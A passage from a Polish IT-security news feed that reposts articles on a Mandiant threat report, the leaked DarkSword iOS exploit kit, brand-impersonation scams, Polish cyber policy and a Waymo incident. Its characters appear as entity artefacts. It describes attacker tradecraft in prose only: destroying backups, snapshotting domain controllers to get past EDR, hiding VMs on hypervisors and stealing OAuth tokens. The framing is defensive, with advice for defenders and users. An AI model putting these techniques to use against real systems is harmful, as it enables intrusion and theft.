Cyberjeand#322;opy siand#281; wyspecjalizowaand#322;y. Grupy zajmujand#261;ce siand#281; uzyskiwaniem poczand#261;tkowego dostand#281;pu (Initial Access Brokers) masowo infekujand#261; ofiary za pomocand#261; np. zand#322;oand#347;liwych reklam (malvertising) lub faand#322;szywych komunikatand#243;w w przegland#261;darce and#8212; popularny motywand#160;ClickFix/InstallFix, ktand#243;ry jako chyba pierwsi zauwaand#380;yliand#347;my i opisaliand#347;my we wrzeand#347;niu 2024. Chodzi o wyskakujand#261;ce okienko namawiajand#261;ce do wklejenia np. kodu do konsoli PowerShell.
Kiedyand#347; IAB wystawiaand#322; uzyskane dostand#281;py na grupach lub forach i czekaand#322; na kupca (np. operatora ransomware). W 2022r. mediana czasu od infekcji do przekazania dostand#281;pu wynosiand#322;a 8 godzin. W 2025 roku ten czas spadand#322; doand#8230; 22 sekund. Tak, proces zostaand#322; zautomatyzowany. Malware (np. FAKEUPDATES) od razu pobiera i instaluje backdoora docelowej grupy (np. RansomHub). Z punktu widzenia SOC-u oznacza to, and#380;e alert o and#8220;nisko-priorytetowymand#8221; malware z przegland#261;darki musi byand#263; traktowany jako krytyczny incydent P1, bo juand#380; po kilku minutach napastnik zaczand#261;and#263; moand#380;e lateral movement.
Tu ciekawostka: Grupy APT wbijajand#261; siand#281; na brzegowe urzand#261;dzenia sieciowe (wykorzystujand#261;c 0-daye lub luki n-day), zakand#322;adajand#261; na nich wand#322;asne konta, uruchamiajand#261; SSH na niestandardowych portach i puszczajand#261; sniffery pakietand#243;w, aby wyand#322;apywaand#263; hasand#322;a latajand#261;ce po sieci w cleartextand#8217;cie.
Ransomware to juand#380; nie tylko szyfrowanie. To and#8220;Recovery Denialand#8221;
Zand#322;ote czasy, gdy ransomware tylko szyfrowaand#322; pliki, a ofiara po prostu odtwarzaand#322;a je z backupu, minand#281;and#322;y bezpowrotnie and#8212; o tym teand#380; na Niebezpiecznikuand#160;mogliand#347;cie usand#322;yszeand#263; wielokrotnie. Gand#322;and#243;wnym celem grup RaaS (Ransomware-as-a-Service) staand#322;a siand#281; teraz infrastruktura backupowa. Napastnicy wiedzand#261;, and#380;e jeand#347;li zniszczand#261; kopie zapasowe to ofiara band#281;dzie bardziej skora do zapand#322;aty. Kradnand#261; poand#347;wiadczenia do serwerand#243;w backupu, hasand#322;a do macierzy NAS czy chmurowych bucketand#243;w i trwale kasujand#261; kopie zapasowe albo szyfrujand#261; to, co zostaand#322;o. Pozyskujand#261; teand#380; caand#322;and#261; bazand#281; ntds.dit z kontrolerand#243;w domeny (czand#281;sto robiand#261;c snapshoty maszyn wirtualnych z poziomu hypervisora, omijajand#261;c w ten sposand#243;b EDR-y na hostach), korzystajand#380; z GPO lub Microsoft Endpoint Manager aby pchnand#261;and#263;and#160;ransomware od razu, jednoczeand#347;nie na tysiand#261;ce stacji roboczych. Czasem, EDR moand#380;e to zablokowaand#263;, wiand#281;c atakujand#261;cy jeand#347;li mogand#261;, to szyfrujand#261; pliki .vmdk bezpoand#347;rednio na datastorze hypervisora.
Zarand#243;wno zaawansowane grupy szpiegowskie (np. z Chin, jak UNC5807 czy UNC5221), jak i cyberprzestand#281;pcy czand#281;sto celujand#261; w urzand#261;dzenia, na ktand#243;rych nie da siand#281; zainstalowaand#263; agenta EDR. Chodzi np. o firewalle, routery, VPN oraz hypervisory (VMware ESXi, vCenter). Hypervisor wykorzystujand#261; jako kryjand#243;wkand#281;. Zamiast atakowaand#263; wirtualki, napastnik przejmuje HV i stawia na nim wand#322;asnand#261;, and#8220;niewidzialnand#261;and#8221; (zarzand#261;dzanand#261; przez emulator QEMU) maszynand#281; wirtualnand#261;. Nie widaand#263; jej w konsoli vCenter, nie skanujand#261; jej firmowe antywirusy, a sand#322;uand#380;y ona do tunelowania ruchu z C2.
OAuth &gt; Hasand#322;a
Zabezpieczasz chmurand#281; i masz MFA? and#346;wietnie. A co z integracjami? Atakujand#261;cy (np. APT29 czy grupy finansowe) masowo atakujand#261; stacje robocze developerand#243;w, by wykradaand#263; tokeny. Skanujand#261; teand#380; repozytoria kodu w poszukiwaniu na twardo zaszytych kluczy API. Kradzieand#380; tokenand#243;w sesyjnych (cookies) oraz refresh tokenand#243;w OAuth to rand#243;wnieand#380; czand#281;sto wykorzystywane techniki. Pozwala to na caand#322;kowite ominiand#281;cie MFA. Dodatkowo, przestand#281;pcy and#380;erujand#261; na and#378;le zescopeand#8217;owanych uprawnieniach dla aplikacji firm trzecich (np. integracja, ktand#243;ra ma tylko czytaand#263; logi, dostaje uprawnienia pozwalajand#261;ce na kasowanie bucketand#243;w).
Ten kolega jest teand#380; kolegand#261; Kima!
Trend, o ktand#243;rymand#160;pisaliand#347;my juand#380; wielokrotnie na Niebezpieczniku, wciand#261;and#380; roand#347;nie. Pand#243;and#322;nocnokoreaand#324;scy and#8220;specjaliand#347;ci ITand#8221; masowo zatrudniajand#261; siand#281; w zachodnich firmach pod faand#322;szywymi toand#380;samoand#347;ciami. W 2025 roku stanowili oni aand#380; 6% wszystkich incydentand#243;w wewnand#281;trznych. Co ciekawe, ich mediana czasu przebywania w sieci wynosiand#322;a aand#380; 122 dni. Gand#322;and#243;wny cel to pobieranie zachodniej pensji i transferowanie jej reand#380;imowi, ale Mandiant odnotowaand#322; teand#380; przypadki przekupywania innych pracownikand#243;w (lub podwykonawcand#243;w), aby ci udostand#281;pnili im swoje korporacyjne poand#347;wiadczenia, co prowadziand#322;o do kradzieand#380;y danych i prand#243;b wymuszeand#324;.
Co robiand#263;, jak and#380;yand#263; w 2026?
Raport Mandianta mand#243;wi jasno: koncepcja obrony oparta wyand#322;and#261;cznie na blokowaniu to przeszand#322;oand#347;and#263;. Naleand#380;y przejand#347;and#263; na model and#8220;Active Resilienceand#8221;. Czyli?

Chroand#324; Tier-0 i hypervisory. vCenter i serwery backupu nie mogand#261; byand#263; wpiand#281;te do tego samego Active Directory, co reszta firmy. Zand#322;amanie jednego admina domenowego nie moand#380;e oznaczaand#263; padniand#281;cia and#347;rodowiska wirtualnego i backupand#243;w.
MFA na wszystko i ograniczenie OAuth. Nie pozwalaj userom na dowolne klikanie and#8220;Zezwand#243;land#8221; dla aplikacji firm trzecich w Google Workspace czy MS365. Zabezpieczaj logowania adminand#243;wand#160;kluczami FIDO2.
No i loguj to, czego EDR nie widzi, zbieraj i analizuj logi z vCenter, firewalli i switchy. Szukaj w nich tworzenia nowych rand#243;l, snapshotand#243;w czy dziwnych logowaand#324; SSH. Jak to robiand#263;, moand#380;esz dowiedzieand#263; siand#281; z naszego ostatniego webinara and#8220;SOC w Praktyceand#8220;.
Reaguj natychmiast na and#8220;band#322;aheand#8221; alerty. Jeand#347;li antywirus ubije skrypt z przegland#261;darki (np. malware and#8220;Kliknij tu, aby naprawiand#263; band#322;and#261;d wtyczkiand#8221;), nie zamykaj zgand#322;oszenia and#8212; sprawdand#378; dokand#322;adnie, czy uand#322;amek sekundy wczeand#347;niej nie poszand#322;o poand#322;and#261;czenie zwrotne (reverse shell).

and#160;
and#160;
and#378;rodand#322;o niebezpiecznik.pl 24 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Od dziś każdy może prosto zhackować niezaktualizowanego iPhona i iPada ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1652</link>
			<description><![CDATA[ W ubiegand#322;ym tygodniu badacze cyberbezpieczeand#324;stwa ujawnili sporych rozmiarand#243;w kampaniand#281; wymierzonand#261; w uand#380;ytkownikand#243;w niezaktualizowanych urzand#261;dzeand#324; Apple. Ataki realizowano za pomocand#261; narzand#281;dzia DarkSword, ktand#243;re dotychczas byand#322;o w rand#281;kach zaawansowanych grup przestand#281;pczych. Ale wand#322;aand#347;nie wyciekand#322;o do sieci i kaand#380;dy moand#380;e je pobraand#263; z GitHuba.

Skopiuj, wklej, atakuj
DarkSword to zestaw exploitand#243;w na iOS, ktand#243;ry jest doand#347;and#263; prosty w uand#380;yciu (opublikowane pliki to w zasadzie tylko HTML i JavaScript). Oznacza to, and#380;e prawie kaand#380;dy moand#380;e je skopiowaand#263;, wrzuciand#263; na swand#243;j serwer i w kilka minut rozpoczand#261;and#263; ataki na uand#380;ytkownikand#243;w iPhonand#243;w i iPadand#243;w. Nie jest tu wymagana and#380;adna zaawansowana wiedza o strukturze systemu iOS.
Rosyjskie sand#322;uand#380;by i ukraiand#324;skie serwery
DarkSword to nie jest amatorka. Wedand#322;ug analitykand#243;wand#160;Googleand#160;orazand#160;Lookout, narzand#281;dzie to byand#322;o wczeand#347;niej wykorzystywane przez rosyjskich hakerand#243;w rzand#261;dowych (UNC6353) do inwigilowania celand#243;w w Ukrainie. Co ciekawe, w kodzie and#378;rand#243;dand#322;owym, ktand#243;ry trafiand#322; do sieci, sand#261; fragmenty odpowiedzialne za przesyand#322;anie skradzionych danych do popularnego ukraiand#324;skiego sklepu odzieand#380;owego. Najprawdopodobniej atakujand#261;cy przejand#281;li wczeand#347;niej tand#281; stronand#281;, aby uand#380;ywaand#263; jej jako tzw. serwera C2 (Command and Control).
Warto dodaand#263;, and#380;e to juand#380; kolejny taki incydent w tym miesiand#261;cu. Niedawno gand#322;oand#347;no byand#322;o o exploitpacku Coruna, stworzonym przez firmand#281; L3Harris dla amerykaand#324;skiego rzand#261;du.
Co groand#378;nego potrafiand#160;DarkSword?
DarkSword po udanym ataku po cichu wykrada z urzand#261;dzenia:

kontakty,

and#160;

wiadomoand#347;ci,

and#160;

historiand#281; poand#322;and#261;czeand#324;

and#160;

zawartoand#347;and#263; systemowego pand#281;ku kluczy (iOS Keychain), w ktand#243;rym przechowywane sand#261; m.in.

and#160;hasand#322;a do Wi-Fi i innych usand#322;ug
To nie jest narzand#281;dzie dziaand#322;ajand#261;ce jak Pegasus (dand#322;ugotrwaand#322;a inwigilacja). Raczej toolkit do szybkiego wejand#347;cia, kradzieand#380;y i wyjand#347;cia. Co ciekawe ma teand#380; funkcje kradzieand#380;y kryptowalut.
Kogo dotyczand#261; te ataki?
DarkSword atakuje systemyand#160;iOS w wersji 18and#160;bez wand#322;and#261;czonego mechanizmu Lockdown. Wedand#322;ug danych Apple, okoand#322;o 25% uand#380;ytkownikand#243;w wciand#261;and#380; korzysta z iOS 18 lub starszych wersji systemu. Oznacza to setki milionand#243;w urzand#261;dzeand#324;, ktand#243;re sand#261; and#8220;na tacyand#8221; dla kaand#380;dego, kto pobierze kod z GitHuba.
Na szczand#281;and#347;cie, ataki DarkSword nie powiodand#261; siand#281;, jeand#347;li urzand#281;dzenie jest zaktualizowane do najnowszego, dostand#281;pnego od paand#378;dziernika 2025 systemu iOS 26. Na marginesie: Apple nie wydaand#322;o wersji iOS 19 poniewaand#380; zmieniand#322;o numeracjand#281; tak aby odpowiadaand#322;a ona bieand#380;and#261;cej dacie. Dla naprawdand#281; starych urzand#261;dzeand#324;, ktand#243;re nie sand#261; wspierane przez iOS 26, Apple wydaand#322;o ratunkowand#261; and#322;atkand#281;and#160;bezpieczeand#324;stwa 11 marca.

Mam iPhoneand#8217;a and#8212; co robiand#263;, jak and#380;yand#263;?
Aby nie paand#347;and#263; ofiarand#261; DarkSword, zastosuj siand#281; do poniand#380;szych rad:

Zaktualizuj system do najnowszej wersji iOS 26. Jeand#347;li Twoje urzand#261;dzenie nie wspiera iOS 26, zainstaluj and#322;atkand#281; bezpieczeand#324;stwa dla starszego systemu, ktand#243;ra zostaand#322;a wydane 11 marca lub wand#322;and#261;cz tryb Lockdown.
Wand#322;and#261;cz Tryb Blokady (Lockdown Mode). To specjalna funkcja w urzand#261;dzeniach Apple, ktand#243;ra drastycznie ogranicza wektory atakand#243;w, blokujand#261;c m.in. podejrzane skrypty na stronach www i w komunikatorach.

and#160;
and#378;rodand#322;o niebezpiecznik.pl 24 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Fałszywy uniwersytet, fałszywy bank, fałszywy ChatGPT – trzy oszustwa, na które uważaj w marcu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1651</link>
			<description><![CDATA[ Mail z Uniwersytetu Jagielloand#324;skiego z proand#347;band#261; o ofertand#281;. Powiadomienie od ChatGPT o koniecznoand#347;ci aktualizacji pand#322;atnoand#347;ci. Aplikacja bankowa, ktand#243;ra ma chroniand#263; twoje konto. Trzy sytuacje, ktand#243;re wygland#261;dajand#261; wiarygodnie and#8211; i trzy puand#322;apki zastawione przez cyberprzestand#281;pcand#243;w.



and#160;


/and#160;Bankier.pl


Prowadzisz firmand#281;, wspand#243;and#322;pracujesz z uczelniami. Na skrzynkand#281; wpada mail od pracownika UJ z proand#347;band#261; o zand#322;oand#380;enie oferty. Logo siand#281; zgadza, ton oficjalny, w zaand#322;and#261;czniku formularz. Klikasz?
Wand#322;aand#347;nie na to liczand#261; przestand#281;pcy. Analitycy ESET wykryli kampaniand#281;, w ktand#243;rej oszuand#347;ci podszywajand#261; siand#281; pod fikcyjnego pracownika Uniwersytetu Jagielloand#324;skiego. Zaand#322;and#261;czony formularz wygland#261;da jak PDF, ale to paczka z oprogramowaniem szpiegowskim Formbook and#8211; infostealrem, ktand#243;ry po uruchomieniu przechwytuje wszystko, co wpisujesz na klawiaturze, robi zrzuty ekranu i wyciand#261;ga hasand#322;a z przegland#261;darki. Ofiara niczego nie zauwaand#380;a.



and#160;



Formbook dziaand#322;a w modelu malware-as-a-service and#8211; kaand#380;dy moand#380;e go kupiand#263; na podziemnych forach, nie potrzebujand#261;c szczegand#243;lnych umiejand#281;tnoand#347;ci. Jak zauwaand#380;a Kamil Sadkowski z ESET, przestand#281;pcom wystarczy dziand#347; spryt i gotowe narzand#281;dzie. Wedand#322;ug danych firmy w drugiej poand#322;owie 2025 roku niemal co trzecia prand#243;ba ataku z uand#380;yciem tego malwareand#8217;u zostaand#322;a zarejestrowana w Polsce. Cel kampanii: firmy i podwykonawcy, ktand#243;rzy mogliby wspand#243;and#322;pracowaand#263; z uczelniand#261;.
and#160;
and#8222;Klucz Bezpieczeand#324;stwaand#8221; do twojego banku? To malware
To oszustwo odwraca logikand#281; zabezpieczeand#324;. CSIRT KNF ostrzega przed faand#322;szywymi aplikacjami na Androida o nazwie and#8222;Klucz Bezpieczeand#324;stwaand#8221;, ktand#243;re podszywajand#261; siand#281; pod narzand#281;dzia ochronne bankand#243;w and#8211; ING, mBanku, SGB, Millennium, Credit Agricole i Alior Banku. Wygland#261;dajand#261; profesjonalnie, z logo i kolorystykand#261; odpowiedniej instytucji. Nie pochodzand#261; jednak z Google Play ani App Store.







Przestand#281;pcy rozsyand#322;ajand#261; link do pobrania aplikacji z serwisu chmurowego files.fm. Po instalacji program prosi o przyand#322;oand#380;enie karty pand#322;atniczej do moduand#322;u NFC w telefonie. W tym momencie dane karty trafiajand#261; do oszustand#243;w. Mechanizm gra na nawyku: banki od lat uczand#261; klientand#243;w, and#380;eby stosowali dodatkowe zabezpieczenia. Ofiara myand#347;li, and#380;e instaluje kolejnand#261; warstwand#281; ochrony and#8211; a sama wpuszcza zand#322;odzieja.
Zasada jest jedna: aplikacje bankowe pobieramy wyand#322;and#261;cznie z oficjalnych sklepand#243;w. and#379;aden bank nie wyand#347;le linka do instalacji przez SMS. Jeand#347;li juand#380; pobraand#322;eand#347; takand#261; aplikacjand#281; and#8211; usuand#324; jand#261;, zablokuj kartand#281; i zadzwoand#324; do banku.
ChatGPT prosi o aktualizacjand#281; pand#322;atnoand#347;ci? Nie klikaj
CERT Orange Polska opisaand#322; 13 marca kampaniand#281;, w ktand#243;rej oszuand#347;ci podszywajand#261; siand#281; pod OpenAI. Ofiara dostaje mail o koniecznoand#347;ci zaktualizowania pand#322;atnoand#347;ci za ChatGPT Plus. Wiadomoand#347;and#263; wygland#261;da przekonujand#261;co: oficjalny ton, lista korzyand#347;ci z subskrypcji, podpis and#8222;Zespand#243;and#322; ChatGPTand#8221; z adresem support@openai.com. Tyle and#380;e prawdziwy nadawca ukrywa siand#281; za domenand#261; firebaseapp.com, niemajand#261;cand#261; nic wspand#243;lnego z OpenAI.
Klikniand#281;cie w przycisk prowadzi na faand#322;szywand#261; stronand#281; wyand#322;udzajand#261;cand#261; dane karty. Maile trafiajand#261; teand#380; do osand#243;b, ktand#243;re nigdy nie miaand#322;y subskrypcji and#8211; to masowa kampania rozesand#322;ana do losowych baz adresand#243;w. Przestand#281;pcy stawiajand#261; na efekt skali i zaufanie do marki, ktand#243;rand#261; zna dziand#347; praktycznie kaand#380;dy.





Co and#322;and#261;czy te trzy oszustwa?
Zaufanie do marki. Uniwersytet Jagielloand#324;ski, znany bank, ChatGPT and#8211; kaand#380;da z tych nazw obniand#380;a czujnoand#347;and#263;. Przestand#281;pcom nie trzeba skomplikowanych narzand#281;dzi. Wystarczy logo, oficjalny ton i odrobina presji.
Trzy proste zasady obrony: nie otwieraj zaand#322;and#261;cznikand#243;w z niespodziewanych maili and#8211; zadzwoand#324; i potwierdand#378;. Aplikacje bankowe instaluj wyand#322;and#261;cznie z oficjalnych sklepand#243;w. Gdy dostajesz mail o problemie z pand#322;atnoand#347;ciand#261;, nie klikaj w link and#8211; sam wejdand#378; na stronand#281; serwisu, wpisujand#261;c adres w przegland#261;darce. I nie zakand#322;adaj, and#380;e ciebie to nie dotyczy. Jak podkreand#347;lajand#261; eksperci z ESET, nawet specjaliand#347;ci IT dajand#261; siand#281; zand#322;apaand#263; w dniu, gdy majand#261; za duand#380;o na gand#322;owie. Jedno klikniand#281;cie wystarczy.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl 24 marzec 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Gawkowski: Polska bezpieczna w sieci. Brak cyberataków z Bliskiego Wschodu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1650</link>
			<description><![CDATA[ Nie zaobserwowano incydentand#243;w cyberbezpieczeand#324;stwa, ktand#243;re miaand#322;yby szeroki kontekst zwiand#261;zany z atakami z paand#324;stw prowadzand#261;cych wojnand#281; na Bliskim Wschodzie - poinformowaand#322; w poniedziaand#322;ek wicepremier i minister cyfryzacji Krzysztof Gawkowski. Dodaand#322;, and#380;e kilka incydentand#243;w jest jeszcze badanych pod tym kand#261;tem.



and#160;


fot. KPRM /and#160;/and#160;Kancelaria Prezesa Rady Ministrand#243;w


- Nie obserwujemy and#380;adnych incydentand#243;w, ktand#243;re by miaand#322;y szeroki kontekst zwiand#261;zany z atakami z paand#324;stw prowadzand#261;cych dzisiaj wojnand#281; na Bliskim Wschodzie - przekazaand#322; Krzysztof Gawkowski podczas konferencji, pytany o wpand#322;yw konfliktu na polskand#261; cyberprzestrzeand#324;.
Dodaand#322;, and#380;e w ostatnich dniach miaand#322;o miejsce kilka incydentand#243;w cyberbezpieczeand#324;stwa, ktand#243;re sand#261; badane przez organy paand#324;stwa. Wicepremier zaznaczyand#322;, and#380;e nie sand#261; one prawdopodobnie zwiand#261;zane z konfliktem na Bliskim Wschodzie, ale nie moand#380;na tego wykluczyand#263; i naleand#380;y zaczekaand#263; na raporty z tych zdarzeand#324;.






and#160;



and#160;



- Kaand#380;da wojna, kaand#380;dy incydent krytyczny na and#347;wiecie powoduje wzrosty dotyczand#261;ce incydentand#243;w w zakresie dezinformacji. Zawsze pojawiajand#261; siand#281; elementy dotyczand#261;ce wpand#322;ywu na polskand#261; i na europejskand#261; infosferand#281;. Tak byand#322;o w tym przypadku - poinformowaand#322; Gawkowski. Wyjaand#347;niand#322;, and#380;e w pierwszych dniach konfliktu pojawiaand#322;y siand#281; fake newsy, ktand#243;re wprowadzaand#322;y w band#322;and#261;d podajand#261;c m.in., and#380;e rzekomo Polska wyand#347;le wojska na Bliski Wchand#243;d.
and#160;
- Na tand#281; chwiland#281; polska infosfera i polska cyberprzestrzeand#324; sand#261; w takim samym stopniu atakowane, jak w kaand#380;dym innym dniu - zaznaczyand#322; szef Ministerstwa Cyfryzacji. Poinformowaand#322;, and#380;e tygodniowo obsand#322;ugiwanych jest od 700 do 900 incydentand#243;w, a liczba ta nie odbiega od statystyk z 2025 r.















and#160;
and#160;
and#378;rodand#322;o PAP 23 marzec 2026 PAP mbl/ drag/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Rząd opublikował Strategię Cyberbezpieczeństwa RP do 2029 roku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1649</link>
			<description><![CDATA[ W Monitorze Polskim opublikowano w poniedziaand#322;ek przyjand#281;tand#261; 10 marca przez rzand#261;d Strategiand#281; Cyberbezpieczeand#324;stwa Rzeczypospolitej Polskiej do 2029 r., przedand#322;oand#380;onand#261; przez Ministra Cyfryzacji. Dokument w zaand#322;and#261;czniku do depeszy.



and#160;


/and#160;Ideogram


Celem gand#322;and#243;wnym Strategii jest podniesienie poziomu odpornoand#347;ci krajowych podmiotand#243;w przez zwiand#281;kszenie poziomu ochrony informacji oraz zwiand#281;kszenie zdolnoand#347;ci do wykrywania i reagowania na zagroand#380;enia, promowanie wiedzy i dobrych praktyk oraz podnoszenie kompetencji w zakresie cyberbezpieczeand#324;stwa w sektorze publicznym (w tym militarnym), prywatnym, a takand#380;e wand#347;rand#243;d obywateli.
Cele szczegand#243;and#322;owe:
1. Rozwand#243;j krajowego systemu cyberbezpieczeand#324;stwa.
2. Przeciwdziaand#322;anie i zwalczanie cyberprzestand#281;pczoand#347;ci oraz uzyskanie zdolnoand#347;ci do prowadzenia peand#322;nego spektrum dziaand#322;aand#324; w cyberprzestrzeni.
3. Podniesienie poziomu odpornoand#347;ci systemand#243;w informacyjnych w sferze publicznej (w tym militarnej) oraz prywatnej.
4. Zwiand#281;kszanie potencjaand#322;u krajowej bazy technologiczno-przemysand#322;owej oraz wzmocnienie suwerennoand#347;ci technologicznej Rzeczypospolitej Polskiej w obszarze cyberbezpieczeand#324;stwa.
5. Budowanie and#347;wiadomoand#347;ci, wiedzy i kompetencji kadr podmiotand#243;w krajowego systemu cyberbezpieczeand#324;stwa oraz obywateli i przedsiand#281;biorcand#243;w.
6. Wzmocnienie silnej pozycji miand#281;dzynarodowej Rzeczypospolitej Polskiej w obszarze cyberbezpieczeand#324;stwa.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP Biznes 23 marzec 2026 PAP tus/ ana/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Rekordowa liczba fałszywych domen i reklam. KNF publikuje raport ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1648</link>
			<description><![CDATA[ W ubiegand#322;ym roku CSIRT KNF zidentyfikowaand#322; i zgand#322;osiand#322; do blokady blisko 42 tys. niebezpiecznych domen, z czego ponad 40 tys. zwiand#261;zanych byand#322;o z faand#322;szywymi inwestycjami - wynika z opublikowanego w poniedziaand#322;ek raportu. Eksperci zwrand#243;cili uwagand#281;, and#380;e przestand#281;pcy siand#281;gajand#261; po coraz bardziej zaawansowane metody.



and#160;


/and#160;KNF


CSIRT KNF, zespand#243;and#322; utworzony przez Komisjand#281; Nadzoru Finansowego, zajmujand#261;cy siand#281; cyberbezpieczeand#324;stwem na rynku finansowym zwrand#243;ciand#322; uwagand#281;, and#380;e Polska zajmuje pierwsze miejsce w Unii Europejskiej pod wzgland#281;dem liczby transakcji mobilnych i internetowych, co w naturalny sposand#243;b and#8222;poszerza pole atakuand#8221; - ze strony cyberprzestand#281;pcand#243;w.
Autorzy raportu and#8222;Polski rynek finansowy w obliczu zagroand#380;eand#324;and#8221; zauwaand#380;yli, and#380;e w ubiegand#322;ym roku widoczna byand#322;a dalsza profesjonalizacja cyberprzestand#281;pczoand#347;ci i rosnand#261;ca skala dziaand#322;aand#324; wykorzystujand#261;cych automatyzacjand#281;, wieloetapowe scenariusze ataku oraz precyzyjne profilowanie ofiar.
Ponad 40 tysiand#281;cy dmen z faand#322;szywymi inwestycjami
and#8222;Szczegand#243;lnie istotne miejsce w krajobrazie zagroand#380;eand#324; nadal zajmowaand#322;y oszustwa oparte o socjotechnikand#281;, w tym kampanie podszywajand#261;ce siand#281; pod instytucje finansowe i podmioty zaufania publicznego. Phishing (metoda oszustwa polegajand#261;ca na podszywaniu siand#281; pod zaufane instytucje - PAP) w kanaand#322;ach SMS i e-mail pozostawaand#322; jednym z najczand#281;and#347;ciej wykorzystywanych wektorand#243;w inicjujand#261;cych incydenty, aand#160;jego skutecznoand#347;and#263; byand#322;a wzmacniana przez and#322;and#261;czenie technik psychologicznych z elementami podszycia technicznego oraz dynamicznand#261; infrastrukturand#261; domenowand#261;. Rand#243;wnolegle utrzymywaand#322;a siand#281; wysoka presja przestand#281;pcza zwiand#261;zana z faand#322;szywymi inwestycjami. Ten typ oszustw pozostaje szczegand#243;lnie dotkliwy spoand#322;ecznie i finansowo, gdyand#380; czand#281;sto prowadzi do znacznych strat po stronie klientand#243;w indywidualnychand#8221; - wskazano w raporcie.
CSIRT KNF przekazaand#322;, and#380;e w 2025 roku zidentyfikowaand#322; iand#160;zgand#322;osiand#322; do blokady 41,75 tys. niebezpiecznych domen. Ponad 40 tys. zwiand#261;zanych byand#322;o z faand#322;szywymi inwestycjami, co stanowi ponad 96 proc. wszystkich zgand#322;oszonych domen.








Dziand#281;ki zgand#322;oszeniom zespoand#322;u, w ubiegand#322;ym roku zablokowano rand#243;wnieand#380; 9751 oszukaand#324;czych reklam na platformie Facebook.






Zgand#322;osiliand#347;my rand#243;wnieand#380; 4358 profili publikujand#261;cych faand#322;szywe reklamy. Jest to wzrost o 41,95 proc. w porand#243;wnaniu do roku ubiegand#322;ego. W rezultacie konta te zostaand#322;y zablokowane, co uniemoand#380;liwiand#322;o im zamieszczanie kolejnych zand#322;oand#347;liwych treand#347;ci - wskazano w raporcie

Polska na celowniku cyberprzestand#281;pcand#243;w
W ubiegand#322;ym roku roku CSIRT KNF zarejestrowaand#322; teand#380;and#160;787 atakand#243;w DDoS, polegajand#261;cych na stworzeniu zmasowanego, sztucznego ruchu, kierowanego na serwer lub stronand#281; internetowand#261;, wymierzonych w polski sektor finansowy. Jak wynika z raportu, to wyraand#378;ny wzrost w porand#243;wnaniu z poprzednimi latami, ktand#243;ry wpisuje siand#281; w szerszy obraz zagroand#380;eand#324; obserwowany w caand#322;ym regionie Europy and#346;rodkowo-Wschodniej.
Zespand#243;and#322; CSIRT KNF zostaand#322; utworzony przez KNF w celu prowadzenia koordynacji dziaand#322;aand#324; i wsparcia obsand#322;ugi incydentand#243;w bezpieczeand#324;stwa w podmiotach rynku finansowego uznanych za Operatorand#243;w Usand#322;ug Kluczowych. Wspiera ich w reagowaniu na powaand#380;ne incydenty, a takand#380;e prowadzi dziaand#322;ania majand#261;ce na celu analizand#281; pozostaand#322;ych incydentand#243;w, trendand#243;w i zagroand#380;eand#324;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 23 marzec 2026 PAPand#160; gkc/ mrr/ ]]></description>
		</item><item>
			<title><![CDATA[ Pasażerowie uwięzieni w autonomicznej taksówce podczas napadu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1647</link>
			<description><![CDATA[ Wyobraand#378;cie sobie takand#261; sytuacjand#281;: jedziecie autonomicznand#261; taksand#243;wkand#261;, gdy nagle agresywny przechodzieand#324; zastand#281;puje Wam drogand#281; i zaczyna waliand#263; w szyby, groand#380;and#261;c and#347;mierciand#261;. Nomalny, biaand#322;kowy kierowca (czyt. czand#322;owiek) wcisnand#261;and#322;by gaz do dechy i odjechaand#322;. Ale w autonomiczna taksand#243;wka Waymo kierowcy nie ma, a jej algorytm jest w takich sytuacjach bezlitosny: and#8220;widzand#281; czand#322;owieka blisko maski, nie mogand#281; ruszyand#263;and#8221;. Poczytajcie o 6 minutowym horrorze pewnego pasaand#380;era uwiand#281;zionego w taksand#243;wceand#8230;
To nie byand#322; and#263;pun
Powyand#380;sza historia dotknand#281;and#322;a Douga, 37-letniego pracownika branand#380;y tech w San Francisco. Napastnik atakujand#261;cy jego taksand#243;wkand#281; nie byand#322; pod wpand#322;ywem and#347;rodkand#243;w odurzajand#261;cych, byand#322; po prostu wand#347;ciekand#322;y na and#8220;roboty odbierajand#261;ce pracand#281;and#8221; i pasaand#380;erand#243;w, ktand#243;rzy je finansujand#261;. Waliand#322; wiand#281;c w szyband#281; przez kilka minut i groziand#322; and#347;mierciand#261;. Sytuacja byand#322;a powaand#380;na, ale problem polegaand#322; na tym, and#380;e systemy bezpieczeand#324;stwa autonomicznych pojazdand#243;w zostaand#322;y zaprojektowane tak, aby za wszelkand#261; cenand#281; unikaand#263; potrand#261;cenia pieszego. I tu pojawia siand#281;and#160;and#8220;band#322;and#261;d logicznyand#8221; algorytmu and#8212; no bo co, jeand#347;li pieszy jest atakujand#261;cym?

No dobra, to moand#380;e:

wskoczyand#263;and#160;za kand#243;and#322;ko, przejand#261;and#263; stery i odjechaand#263;? Otand#243;and#380; nie. To niemoand#380;liwe. Pasaand#380;er nie moand#380;e przesiand#261;and#347;and#263; siand#281; na fotel kierowcy i odjechaand#263;. Software na to nie pozwala.
zadzwoniand#263;and#160;na support, jakkolwiek komicznie by to nie zabrzmiaand#322;o? Teand#380; niczego nie da. Doug siand#281;and#160;co prawda dodzwoniand#322;, ale Waymo odmand#243;wiand#322;o zdalnego sterowania autem, dopand#243;ki ktoand#347; staand#322; w pobliand#380;u. Rozumiecie, bezpieczeand#324;stwo pieszego.

Pomocni okazali siand#281; przechodnie, ktand#243;rzy choand#263; paradoksalnie mieli dopingowaand#263; napastnika, to na tyle go rozproszyli, and#380;e ten odsunand#261;and#322; siand#281;and#160;wystarczajand#261;co daleko od maski taksand#243;wki, aby ta mogand#322;a ruszyand#263;.
and#160;
To nie pierwszy taki przypadek
